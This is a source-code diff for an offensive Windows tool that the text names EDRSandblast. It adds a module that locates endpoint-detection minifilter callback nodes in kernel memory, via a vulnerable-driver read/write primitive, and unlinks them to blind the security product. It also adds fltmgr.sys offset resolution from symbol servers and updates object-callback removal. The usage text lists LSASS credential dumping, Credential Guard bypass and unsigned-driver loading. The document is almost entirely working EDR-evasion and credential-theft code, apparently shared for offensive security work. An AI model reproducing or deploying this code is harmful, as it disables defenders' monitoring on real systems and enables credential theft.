current_instance_shifted = ReadMemoryDWORD64(current_instance_shifted)
|
||||||
|
) {
|
||||||
|
DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink;
|
||||||
|
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance);
|
||||||
|
|
||||||
|
// for each CALLBACK_NODE in the array
|
||||||
|
DWORD64 CallbackNodesArray = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes;
|
||||||
|
SIZE_T nbCallbackNodes = 0;
|
||||||
|
for (int j = 0; j < 50; j++)
|
||||||
|
{
|
||||||
|
DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesArray + (j * sizeof(PVOID)));
|
||||||
|
// Register all callback nodes
|
||||||
|
if (CallbackNodePointer)
|
||||||
|
{
|
||||||
|
// Ugly hack: check if the node really is part of a linked list or have already been unlinked
|
||||||
|
// TODO: change the whole logic of this file and browse callback nodes directly from _FLT_VOLUME.Callbacks.OperationLists ?
|
||||||
|
DWORD64 prevNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Blink));
|
||||||
|
DWORD64 prevNodeNext = ReadMemoryDWORD64(prevNode + offsetof(LIST_ENTRY, Flink));
|
||||||
|
DWORD64 nextNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Flink));
|
||||||
|
DWORD64 nextNodePrev = ReadMemoryDWORD64(nextNode + offsetof(LIST_ENTRY, Blink));
|
||||||
|
if (prevNodeNext != CallbackNodePointer && nextNodePrev != CallbackNodePointer) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct KRNL_CALLBACK cb = {
|
||||||
|
.type = MINIFILTER_CALLBACK,
|
||||||
|
.addresses.minifilter_callback.callback_node = CallbackNodePointer,
|
||||||
|
.callback_func = 0, //TODO: complete with preoperation & postoperations func address for information
|
||||||
|
.driver_name = driver,
|
||||||
|
.removed = FALSE,
|
||||||
|
};
|
||||||
|
AddFoundKernelCallback(foundEDRCallbacks, &cb);
|
||||||
|
edrCallbacksWereFound = TRUE;
|
||||||
|
nbCallbackNodes++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_tprintf_or_not(TEXT("%llu callback nodes found!\n"), nbCallbackNodes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return edrCallbacksWereFound;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if WriteMemoryPrimitiveIsAtomic
|
||||||
|
/*
|
||||||
|
When EDR-related _CALLBACK_NODEs have been identified thanks to the previous function, to disable the callbacks, these nodes are
|
||||||
|
simply unlinked from their lists.
|
||||||
|
That way, the filter manager will not see the callback nodes and never execute the associated pre/post-operations functions upon
|
||||||
|
some specific I/O operation.
|
||||||
|
|
||||||
|
Note: since we are modifying linked lists without holding any lock and while the operating system could browse the lists at the
|
||||||
|
same time, we have to maintain at least some consistency during modification. The write primitive should be able to write a whole
|
||||||
|
pointer (i.e. 8 bytes) in a single call, or else the overwritten pointer would have an incorrect value between 2 calls, and could
|
||||||
|
lead to a crash if the operating system browses the list.
|
||||||
|
*/
|
||||||
|
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||||
|
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list"));
|
||||||
|
SIZE_T counter = 0;
|
||||||
|
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS;
|
||||||
|
ptr < edrCallbacks->EDR_CALLBACKS + edrCallbacks->size;
|
||||||
|
ptr++
|
||||||
|
) {
|
||||||
|
if (ptr->type == MINIFILTER_CALLBACK &&
|
||||||
|
ptr->removed == FALSE) {
|
||||||
|
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
|
||||||
|
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
|
||||||
|
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
|
||||||
|
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress);
|
||||||
|
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress);
|
||||||
|
ptr->removed = TRUE;
|
||||||
|
counter++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
To restore the callbacks, we rely on the fact that the LIST_ENTRY of the _CALLBACK_NODE still points to the original previous
|
||||||
|
and next nodes in the list where is was unlinked from. We simply reinsert the nodes in the inverse order from which unlinked
|
||||||
|
them to ensure the linked list consistency during the process.
|
||||||
|
*/
|
||||||
|
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||||
|
BOOL success = TRUE;
|
||||||
|
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place"));
|
||||||
|
SIZE_T counter = 0;
|
||||||
|
// reinsert the nodes in the inverse order to avoid invalid states
|
||||||
|
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS + edrCallbacks->size - 1;
|
||||||
|
edrCallbacks->EDR_CALLBACKS <= ptr;
|
||||||
|
ptr--
|
||||||
|
) {
|
||||||
|
if (ptr->type == MINIFILTER_CALLBACK &&
|
||||||
|
ptr->removed == TRUE) {
|
||||||
|
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
|
||||||
|
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
|
||||||
|
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
|
||||||
|
|
||||||
|
// Checks that "previous" and "next" nodes are still next to each other in the list
|
||||||
|
DWORD64 prevNodeFlink = ReadMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink));
|
||||||
|
DWORD64 nextNodeBlink = ReadMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink));
|
||||||
|
if (prevNodeFlink != nextNodeAddress || nextNodeBlink != prevNodeAddress) {
|
||||||
|
_putts_or_not(TEXT("[-] [MinifilterCallbacks]\tWARNING: a callback node could not have been restored! Maybe the node list changed between node removal and node reinsertion?"));
|
||||||
|
success = FALSE;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), callbackNodeAddress);
|
||||||
|
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), callbackNodeAddress);
|
||||||
|
ptr->removed = FALSE;
|
||||||
|
counter++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were restored!\n"), counter);
|
||||||
|
return success;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -192,10 +192,7 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
|
|||||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
|
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
|
||||||
cbEntry != ObjectType_Callbacks_List;
|
cbEntry != ObjectType_Callbacks_List;
|
||||||
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
||||||
if (FoundObjectCallbacks->index >= 256) {
|
|
||||||
_putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||||
if (ObjectTypeField != ObjectType) {
|
if (ObjectTypeField != ObjectType) {
|
||||||
_putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
|
_putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
|
||||||
@@ -233,13 +230,13 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
|
|||||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
||||||
if (Enabled) {
|
if (Enabled) {
|
||||||
_putts_or_not(TEXT("and is enabled!"));
|
_putts_or_not(TEXT("and is enabled!"));
|
||||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
|
struct KRNL_CALLBACK cb;
|
||||||
cb->type = OBJECT_CALLBACK;
|
cb.type = OBJECT_CALLBACK;
|
||||||
cb->driver_name = driverNamePreOperation;
|
cb.driver_name = driverNamePreOperation;
|
||||||
cb->removed = FALSE;
|
cb.removed = FALSE;
|
||||||
cb->callback_func = PreOperation;
|
cb.callback_func = PreOperation;
|
||||||
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||||
FoundObjectCallbacks->index++;
|
AddFoundKernelCallback(FoundObjectCallbacks, &cb);
|
||||||
found |= TRUE;
|
found |= TRUE;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
@@ -257,18 +254,19 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
|
|||||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
||||||
if (Enabled) {
|
if (Enabled) {
|
||||||
_putts_or_not(TEXT("and is enabled!"));
|
_putts_or_not(TEXT("and is enabled!"));
|
||||||
if (FoundObjectCallbacks->index != 0 &&
|
if (FoundObjectCallbacks->size != 0 &&
|
||||||
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
|
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].type == OBJECT_CALLBACK &&
|
||||||
|
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
|
||||||
//skip if last callback function belong to the same callback entry (preoperation)
|
//skip if last callback function belong to the same callback entry (preoperation)
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
|
struct KRNL_CALLBACK cb;
|
||||||
cb->type = OBJECT_CALLBACK;
|
cb.type = OBJECT_CALLBACK;
|
||||||
cb->driver_name = driverNamePostOperation;
|
cb.driver_name = driverNamePostOperation;
|
||||||
cb->removed = FALSE;
|
cb.removed = FALSE;
|
||||||
cb->callback_func = PostOperation;
|
cb.callback_func = PostOperation;
|
||||||
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||||
FoundObjectCallbacks->index++;
|
AddFoundKernelCallback(FoundObjectCallbacks, &cb);
|
||||||
found |= TRUE;
|
found |= TRUE;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
@@ -287,7 +285,7 @@ void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS
|
|||||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) {
|
for (DWORD64 i = 0; i < FoundObjectCallbacks->size; i++) {
|
||||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
|
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
|
||||||
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
|
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
|
||||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
|
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
|
||||||
|
|||||||
@@ -0,0 +1,157 @@
|
|||||||
|
#include <Windows.h>
|
||||||
|
#include <Shlwapi.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <tchar.h>
|
||||||
|
|
||||||
|
#include "FileUtils.h"
|
||||||
|
#include "FileVersion.h"
|
||||||
|
#include "PrintFunctions.h"
|
||||||
|
#include "PdbSymbols.h"
|
||||||
|
|
||||||
|
#include "FltmgrOffsets.h"
|
||||||
|
|
||||||
|
union FltmgrOffsets g_fltmgrOffsets = { 0 };
|
||||||
|
|
||||||
|
|
||||||
|
BOOL FltmgrOffsetsAreLoaded() {
|
||||||
|
return g_fltmgrOffsets.ar[0] != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet) {
|
||||||
|
if (FltmgrOffsetsAreLoaded()) {
|
||||||
|
//offsets already loaded
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// load via CSV first
|
||||||
|
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
|
||||||
|
if (LoadFltmgrOffsetsFromFile(fltmgrOffsetFilename)) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of fltmgr.sys in use."));
|
||||||
|
}
|
||||||
|
|
||||||
|
// load via internet then
|
||||||
|
if (canUseInternet) {
|
||||||
|
_putts_or_not(TEXT("[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||||
|
#if _DEBUG
|
||||||
|
if (LoadFltmgrOffsetsFromInternet(FALSE)) {
|
||||||
|
#else
|
||||||
|
if (LoadFltmgrOffsetsFromInternet(TRUE)) {
|
||||||
|
#endif
|
||||||
|
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
|
||||||
|
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
|
||||||
|
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
|
||||||
|
SaveFltmgrOffsetsToFile(fltmgrOffsetFilename);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
|
||||||
|
}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL LoadFltmgrOffsetsFromFile(TCHAR * fltmgrOffsetFilename) {
|
||||||
|
LPTSTR fltmgrVersion = GetFltmgrVersion();
|
||||||
|
_tprintf_or_not(TEXT("[*] System's fltmgr.sys file version is: %s\n"), fltmgrVersion);
|
||||||
|
|
||||||
|
FILE* offsetFileStream = NULL;
|
||||||
|
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("r"));
|
||||||
|
|
||||||
|
if (offsetFileStream == NULL) {
|
||||||
|
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
TCHAR lineFltmgrVersion[256];
|
||||||
|
TCHAR line[2048];
|
||||||
|
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||||
|
TCHAR* dupline = _tcsdup(line);
|
||||||
|
TCHAR* tmpBuffer = NULL;
|
||||||
|
_tcscpy_s(lineFltmgrVersion, _countof(lineFltmgrVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||||
|
if (_tcscmp(fltmgrVersion, lineFltmgrVersion) == 0) {
|
||||||
|
TCHAR* endptr;
|
||||||
|
_tprintf_or_not(TEXT("[+] Offsets are available for this version of fltmgr.sys (%s)!\n"), fltmgrVersion);
|
||||||
|
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
|
||||||
|
g_fltmgrOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(offsetFileStream);
|
||||||
|
|
||||||
|
return FltmgrOffsetsAreLoaded();
|
||||||
|
}
|
||||||
|
|
||||||
|
void SaveFltmgrOffsetsToFile(TCHAR * fltmgrOffsetFilename) {
|
||||||
|
LPTSTR fltmgrVersion = GetFltmgrVersion();
|
||||||
|
|
||||||
|
FILE* offsetFileStream = NULL;
|
||||||
|
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("a"));
|
||||||
|
|
||||||
|
if (offsetFileStream == NULL) {
|
||||||
|
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
_ftprintf(offsetFileStream, TEXT("%s"), fltmgrVersion);
|
||||||
|
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
|
||||||
|
_ftprintf(offsetFileStream, TEXT(",%llx"), g_fltmgrOffsets.ar[i]);
|
||||||
|
}
|
||||||
|
_fputts(TEXT("\n"), offsetFileStream);
|
||||||
|
|
||||||
|
fclose(offsetFileStream);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb) {
|
||||||
|
LPTSTR fltmgrPath = GetFltmgrPath();
|
||||||
|
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(fltmgrPath);
|
||||||
|
if (sym_ctx == NULL) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
g_fltmgrOffsets.st.FltGlobals = GetSymbolOffset(sym_ctx, "FltGlobals");
|
||||||
|
g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit = GetFieldOffset(sym_ctx, "_DRIVER_OBJECT", L"DriverInit");
|
||||||
|
g_fltmgrOffsets.st._FLTP_FRAME_Links = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"Links");
|
||||||
|
g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"RegisteredFilters");
|
||||||
|
g_fltmgrOffsets.st._FLT_FILTER_DriverObject = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"DriverObject");
|
||||||
|
g_fltmgrOffsets.st._FLT_FILTER_InstanceList = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"InstanceList");
|
||||||
|
g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"CallbackNodes");
|
||||||
|
g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"FilterLink");
|
||||||
|
g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink = GetFieldOffset(sym_ctx, "_FLT_OBJECT", L"PrimaryLink");
|
||||||
|
g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList = GetFieldOffset(sym_ctx, "_FLT_RESOURCE_LIST_HEAD", L"rList");
|
||||||
|
g_fltmgrOffsets.st._GLOBALS_FrameList = GetFieldOffset(sym_ctx, "_GLOBALS", L"FrameList");
|
||||||
|
UnloadSymbols(sym_ctx, delete_pdb);
|
||||||
|
|
||||||
|
return FltmgrOffsetsAreLoaded();
|
||||||
|
}
|
||||||
|
|
||||||
|
TCHAR g_fltmgrPath[MAX_PATH] = { 0 };
|
||||||
|
LPTSTR GetFltmgrPath() {
|
||||||
|
if (_tcslen(g_fltmgrPath) == 0) {
|
||||||
|
// Retrieves the system folder (eg C:\Windows\System32).
|
||||||
|
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||||
|
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||||
|
|
||||||
|
// Compute fltmgr.sys path.
|
||||||
|
PathAppend(g_fltmgrPath, systemDirectory);
|
||||||
|
PathAppend(g_fltmgrPath, TEXT("drivers"));
|
||||||
|
PathAppend(g_fltmgrPath, TEXT("fltMgr.sys"));
|
||||||
|
}
|
||||||
|
return g_fltmgrPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
TCHAR g_fltmgrVersion[256] = { 0 };
|
||||||
|
LPTSTR GetFltmgrVersion() {
|
||||||
|
if (_tcslen(g_fltmgrVersion) == 0) {
|
||||||
|
LPTSTR fltmgrPath = GetFltmgrPath();
|
||||||
|
|
||||||
|
TCHAR versionBuffer[256] = { 0 };
|
||||||
|
GetFileVersion(versionBuffer, _countof(versionBuffer), fltmgrPath);
|
||||||
|
|
||||||
|
_stprintf_s(g_fltmgrVersion, 256, TEXT("fltmgr_%s.sys"), versionBuffer);
|
||||||
|
}
|
||||||
|
return g_fltmgrVersion;
|
||||||
|
}
|
||||||
@@ -17,7 +17,6 @@
|
|||||||
|
|
||||||
union WdigestOffsets g_wdigestOffsets = { 0 };
|
union WdigestOffsets g_wdigestOffsets = { 0 };
|
||||||
|
|
||||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
|
||||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
|
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
|
||||||
LPTSTR wdigestVersion = GetWdigestVersion();
|
LPTSTR wdigestVersion = GetWdigestVersion();
|
||||||
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||||
|
|||||||
@@ -10,17 +10,21 @@
|
|||||||
#include <assert.h>
|
#include <assert.h>
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#include "CiOffsets.h"
|
||||||
#include "CredGuard.h"
|
#include "CredGuard.h"
|
||||||
#include "DriverOps.h"
|
#include "DriverOps.h"
|
||||||
#include "FileUtils.h"
|
#include "FileUtils.h"
|
||||||
|
#include "FltmgrOffsets.h"
|
||||||
#include "Firewalling.h"
|
#include "Firewalling.h"
|
||||||
#include "ETWThreatIntel.h"
|
#include "ETWThreatIntel.h"
|
||||||
#include "KernelCallbacks.h"
|
#include "KernelCallbacks.h"
|
||||||
|
#include "KernelDSE.h"
|
||||||
#include "KernelMemoryPrimitives.h"
|
#include "KernelMemoryPrimitives.h"
|
||||||
#include "ProcessDump.h"
|
#include "MinifilterCallbacks.h"
|
||||||
#include "ProcessDumpDirectSyscalls.h"
|
|
||||||
#include "NtoskrnlOffsets.h"
|
#include "NtoskrnlOffsets.h"
|
||||||
#include "ObjectCallbacks.h"
|
#include "ObjectCallbacks.h"
|
||||||
|
#include "ProcessDump.h"
|
||||||
|
#include "ProcessDumpDirectSyscalls.h"
|
||||||
#include "PEBBrowse.h"
|
#include "PEBBrowse.h"
|
||||||
#include "PrintFunctions.h"
|
#include "PrintFunctions.h"
|
||||||
#include "RunAsPPL.h"
|
#include "RunAsPPL.h"
|
||||||
@@ -28,8 +32,6 @@
|
|||||||
#include "Undoc.h"
|
#include "Undoc.h"
|
||||||
#include "UserlandHooks.h"
|
#include "UserlandHooks.h"
|
||||||
#include "WdigestOffsets.h"
|
#include "WdigestOffsets.h"
|
||||||
#include "CiOffsets.h"
|
|
||||||
#include "KernelDSE.h"
|
|
||||||
|
|
||||||
//TODO P1 : implement a "clean" mode that only removes the driver if installed
|
//TODO P1 : implement a "clean" mode that only removes the driver if installed
|
||||||
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting
|
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting
|
||||||
@@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) {
|
|||||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver> \n\
|
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver> \n\
|
||||||
[--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]* \n\
|
[--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]* \n\
|
||||||
[--kernelmode] [--dont-unload-driver] [--no-restore] \n\
|
[--kernelmode] [--dont-unload-driver] [--no-restore] \n\
|
||||||
[--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
|
[--nt-offsets <NtoskrnlOffsets.csv>] [--fltmgr-offsets <FltmgrOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
|
||||||
[--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>] \n\
|
[--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>] \n\
|
||||||
[--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>] \n\
|
[--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>] \n\
|
||||||
[--no-kdp]\n\
|
[--no-kdp]\n\
|
||||||
@@ -168,6 +170,8 @@ Offset-related options:\n\
|
|||||||
\n\
|
\n\
|
||||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||||
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||||
|
--fltmgr-offsets <FltmgrOffsets.csv> Path to the CSV file containing the required fltmgr.sys's offsets\n\
|
||||||
|
Default to 'FltmgrOffsets.csv' in the current directory.\n\
|
||||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||||
(only for the 'credguard' mode).\n\
|
(only for the 'credguard' mode).\n\
|
||||||
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||||
@@ -204,6 +208,7 @@ Dump options:\n\
|
|||||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
|
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
|
||||||
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
|
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
|
||||||
TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 };
|
TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 };
|
||||||
|
TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 };
|
||||||
TCHAR processName[] = TEXT("lsass.exe");
|
TCHAR processName[] = TEXT("lsass.exe");
|
||||||
TCHAR outputPath[MAX_PATH] = { 0 };
|
TCHAR outputPath[MAX_PATH] = { 0 };
|
||||||
BOOL verbose = FALSE;
|
BOOL verbose = FALSE;
|
||||||
@@ -219,6 +224,7 @@ Dump options:\n\
|
|||||||
BOOL ETWTIState = FALSE;
|
BOOL ETWTIState = FALSE;
|
||||||
BOOL foundNotifyRoutineCallbacks = FALSE;
|
BOOL foundNotifyRoutineCallbacks = FALSE;
|
||||||
BOOL foundObjectCallbacks = FALSE;
|
BOOL foundObjectCallbacks = FALSE;
|
||||||
|
BOOL foundMinifilterCallbacks = FALSE;
|
||||||
HOOK* hooks = NULL;
|
HOOK* hooks = NULL;
|
||||||
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
|
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
|
||||||
|
|
||||||
@@ -305,6 +311,14 @@ Dump options:\n\
|
|||||||
}
|
}
|
||||||
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
